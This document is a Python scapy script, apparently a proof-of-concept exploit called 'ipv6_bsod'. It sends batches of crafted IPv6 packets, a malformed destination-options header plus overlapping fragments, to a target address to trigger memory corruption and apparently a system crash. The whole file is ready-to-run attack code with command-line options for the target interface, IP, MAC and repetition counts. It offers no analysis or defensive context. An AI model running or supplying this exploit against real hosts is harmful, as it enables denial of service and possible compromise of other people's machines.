from scapy.all import *
from sys import argv, exit

def usage():
    print("Usage: ipv6_bsod -i (interface) --ip (ipaddr) -m (macaddr) -t (num_tries) -n (num_batches)")

def get_packets(i: int, ip: str, mac: str) -> list:
    frag_id = 0xdebac1e + i
    if mac != '' and ip != '':
        first = Ether(dst=mac) / IPv6(fl=1, hlim=64+i, dst=ip) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
        second = Ether(dst=mac) / IPv6(fl=1, hlim=64+i, dst=ip) / IPv6ExtHdrFragment(id=frag_id, m=1, offset=0) / 'aaaaaaaa'
        third = Ether(dst=mac) / IPv6(fl=1, hlim=64+i, dst=ip) / IPv6ExtHdrFragment(id=frag_id, m=0, offset=1)
        return [first, second, third]
    elif ip != '':
        first = IPv6(fl=1, hlim=64+i, dst=ip) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
        second = IPv6(fl=1, hlim=64+i, dst=ip) / IPv6ExtHdrFragment(id=frag_id, m=1, offset=0) / 'aaaaaaaa'
        third = IPv6(fl=1, hlim=64+i, dst=ip) / IPv6ExtHdrFragment(id=frag_id, m=0, offset=1)
        return [first, second, third]
    else:
        print("Error: IP address is not set!")
        exit(1)

if len(argv) == 1:
    usage()
else:
    iface = ''
    ip = ''
    mac = ''
    num_tries = 0
    num_batches = 0
    for a in range(1, len(argv), 2):
        if argv[a] == "-i":
            if len(argv) > a+1:
                iface = argv[a+1]
            else:
                print("Error: interface is not set")
                exit(1)
        elif argv[a] == '--ip':
            if len(argv) > a+1: 
                ip = argv[a+1]
            else:
                print("Error: IP is not set")
                exit(1)
        elif argv[a] == '-m':
            if len(argv) > a+1:
                mac = argv[a+1]
            else:
                print("Error: MAC address is not set")
                exit(1)
        elif argv[a] == '-t':
            if len(argv) > a+1:
                if argv[a+1].isdigit():
                    num_tries = int(argv[a+1])
                else:
                    print("Error: num_tries is not number, exiting...")
                    exit(1)
            else:
                print("Error: num_tries is not set")
        elif argv[a] == '-n':
            if len(argv) > a+1:
                if argv[a+1].isdigit():
                    num_batches = int(argv[a+1])
                else:
                    print("Error: num_batches is not number, exiting...")
                    exit(1)
            else:
                print("Error: num_batches is not set")
                exit(1)
        else:
            print(f"Error: invalid key '{argv[a]}'")
            exit(1)

    if iface == '':
        print("Error: interface is not set")
        exit(1)
    if ip == '':
        print("Error: IPv6 address is not set")
        exit(1)
    if num_tries == 0:
        print("Error: num_tries is not set")
        exit(1)
    if num_batches == 0:
        print("Error: num_batches is not set")
        exit(1)

    final_ps = []
    for _ in range(num_batches):
        for i in range(num_tries):
            final_ps += get_packets(i, ip, mac) + get_packets(i, ip, mac)

    print("Sending packets")
    if mac != '':
        sendp(final_ps, iface)
    else:
        send(final_ps, iface)

    for i in range(60):
        print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
        time.sleep(1)
    print("")
